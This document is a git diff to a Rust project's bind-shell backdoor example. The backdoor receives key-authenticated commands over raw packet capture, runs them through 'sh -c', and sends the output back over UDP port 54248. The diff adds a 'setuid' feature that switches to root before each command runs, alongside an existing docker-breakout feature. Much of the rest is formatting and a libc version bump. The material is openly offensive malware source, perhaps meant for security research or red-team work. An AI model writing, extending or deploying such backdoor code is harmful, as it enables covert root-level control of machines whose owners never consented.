diff --git a/Cargo.lock b/Cargo.lock index 91fc9ed..332db10 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -170,6 +170,7 @@ dependencies = [ "cc", "ed25519-dalek", "ex-bind-shell-key-generator", + "libc", "log", "pcap-sys", "simple_logger", @@ -356,9 +357,9 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" [[package]] name = "libc" -version = "0.2.142" +version = "0.2.147" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a987beff54b60ffa6d51982e1aa1146bc42f19bd26be28b0586f252fccf5317" +checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3" [[package]] name = "log" diff --git a/examples/bind-shell/backdoor/Cargo.toml b/examples/bind-shell/backdoor/Cargo.toml index d6e4ef1..3b71816 100644 --- a/examples/bind-shell/backdoor/Cargo.toml +++ b/examples/bind-shell/backdoor/Cargo.toml @@ -14,10 +14,12 @@ tokio-stream = "0.1.14" ed25519-dalek = "1.0.1" log = "0.4.17" simple_logger = "4.1.0" +libc = { version = "0.2.147", optional = true } [build-dependencies] cc = "1.0" [features] docker-breakout = [] -no-exit = [] \ No newline at end of file +no-exit = [] +setuid = ["libc"] \ No newline at end of file diff --git a/examples/bind-shell/backdoor/build.rs b/examples/bind-shell/backdoor/build.rs index be7cfaf..f92ed6b 100644 --- a/examples/bind-shell/backdoor/build.rs +++ b/examples/bind-shell/backdoor/build.rs @@ -1,15 +1,15 @@ // Copyright (C) 2023 Andrew Rioux -// +// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. -// +// // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. -// +// // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see . @@ -19,4 +19,4 @@ fn main() { cc::Build::new() .file("src/docker-breakout.c") .compile("breakout"); -} \ No newline at end of file +} diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index ed39d6c..a4f0e96 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -35,7 +35,11 @@ async fn handled_main() -> anyhow::Result<()> { log::info!("Pubkey is good"); - let port = std::env::args().skip(1).next().and_then(|a| a.parse::().ok()).unwrap_or(54248); + let port = std::env::args() + .skip(1) + .next() + .and_then(|a| a.parse::().ok()) + .unwrap_or(54248); #[cfg(feature = "docker-breakout")] unsafe { @@ -105,8 +109,9 @@ async fn handled_main() -> anyhow::Result<()> { pubkey_clone, pkt, packet_sender_clone, - exit_sender_clone - ).await + exit_sender_clone, + ) + .await { log::warn!("Error handling packet: {e}"); } @@ -129,7 +134,7 @@ async fn handle_command( pubkey: Arc, eth: EthernetPacket, send_response: mpsc::Sender, - send_exit: mpsc::Sender<()> + send_exit: mpsc::Sender<()>, ) -> anyhow::Result<()> { use pcap_sys::packets::*; let eth_pkt = eth.pkt(); @@ -195,6 +200,13 @@ async fn handle_command( _ => {} } + #[cfg(feature = "setuid")] + let current_id = unsafe { + let id = libc::getuid(); + libc::setuid(0); + id + }; + let Ok(mut child) = (process::Command::new("sh") .arg("-c") .arg(cmd) @@ -212,13 +224,13 @@ async fn handle_command( { let stdout = match &mut child.stdout { Some(ref mut stdout) => stdout, - None => bail!("could not get child process stdout") + None => bail!("could not get child process stdout"), }; let stderr = match &mut child.stderr { Some(ref mut stderr) => stderr, - None => bail!("could not get child process stderr") + None => bail!("could not get child process stderr"), }; - + enum Output { Out, Err, @@ -245,11 +257,11 @@ async fn handle_command( let fullmsg = &[ match out_type { Output::Out => &[1], - Output::Err => &[2] + Output::Err => &[2], }, - msg + msg, ] - .concat(); + .concat(); let udp_packet = UDPPacket::construct(54248, source_port, &**fullmsg); let ip_packet = IPv4Packet::construct( @@ -279,6 +291,11 @@ async fn handle_command( .try_into() .unwrap(); + #[cfg(feature = "setuid")] + if current_id != 0 { + unsafe { libc::setuid(current_id) }; + } + let done_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, exit_code]); let done_ip_packet = IPv4Packet::construct( ip_pkt.dest_ip(),